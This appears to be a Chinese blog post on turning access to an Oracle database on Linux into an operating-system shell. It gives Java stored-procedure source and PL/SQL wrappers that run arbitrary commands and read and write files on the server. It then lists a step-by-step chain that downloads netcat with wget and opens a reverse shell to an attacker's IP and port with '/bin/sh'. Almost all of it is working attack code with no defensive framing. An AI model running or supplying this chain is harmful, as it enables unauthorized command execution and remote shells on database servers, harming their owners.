Linux下Oracle获取shell

create or replace and compile java source named oraexec as
import java.lang.*;
import java.io.*;

public class oraexec {
   
   private static void copyStream(InputStream inputStream, OutputStream outStream,String type) throws IOException {
        byte[] bytes = new byte[1024];
        int len = 0;
        System.out.println("========"+type+"========");
        while ( (len = inputStream.read(bytes)) != -1)
         {
            System.out.println(new String(bytes,0,len));
            outStream.write(bytes,0,len);
        }
    }
    /*
     * Command execution module
     */
    public static void execCommand(String command) throws IOException {
    Process pc = Runtime.getRuntime().exec(command);
    copyStream(pc.getInputStream(), System.out,"InputStream()");
    copyStream(pc.getErrorStream(), System.out,"ErrorStream()");
    }

    /*
     * File reading module
     */
    public static void readFile(String filename) throws IOException {
        FileReader f = new FileReader(filename);
        BufferedReader fr = new BufferedReader(f);
        String text = fr.readLine();
        while (text != null) {
            System.out.println(text);
            text = fr.readLine();
    }
    fr.close();
  }

  /*
   * File writing module
   */
  public static void writeFile(String filename, String line) throws IOException {
    FileWriter f = new FileWriter(filename, true); /* append */
    BufferedWriter fw = new BufferedWriter(f);
    fw.write(line);
    fw.write("\n");
    fw.close();
  }
}





============================================

CODE_2:

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';

===========================================

CODE_3:

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';

============================================

CODE_4:

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';


4、

exec javawritefile('/tmp/getnc', 'wget http://www/nc -O /tmp/nc');  //写入wget nc 命令到文件getnc

exec dbms_java.set_output(2000);   //设置javareadfile

set serveroutput on;

exec javareadfile('/tmp/getnc');  //读取文件查看是否写入成功

exec javacmd('/bin/sh /tmp/getnc'); //执行命令下载nc

exec javareadfile('/tmp/nc');   //查看nc是否下载成功

exec javawritefile('/tmp/shell', '/tmp/nc IP port -e /bin/sh'); //写入反弹命令

exec javareadfile('/tmp/shell');  //读取文件查看是否写入成功

exec javacmd('/bin/sh /tmp/shell'); //执行nc反弹shell,在本地nc监听就能得到shell,如果不行,请确认防火墙


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值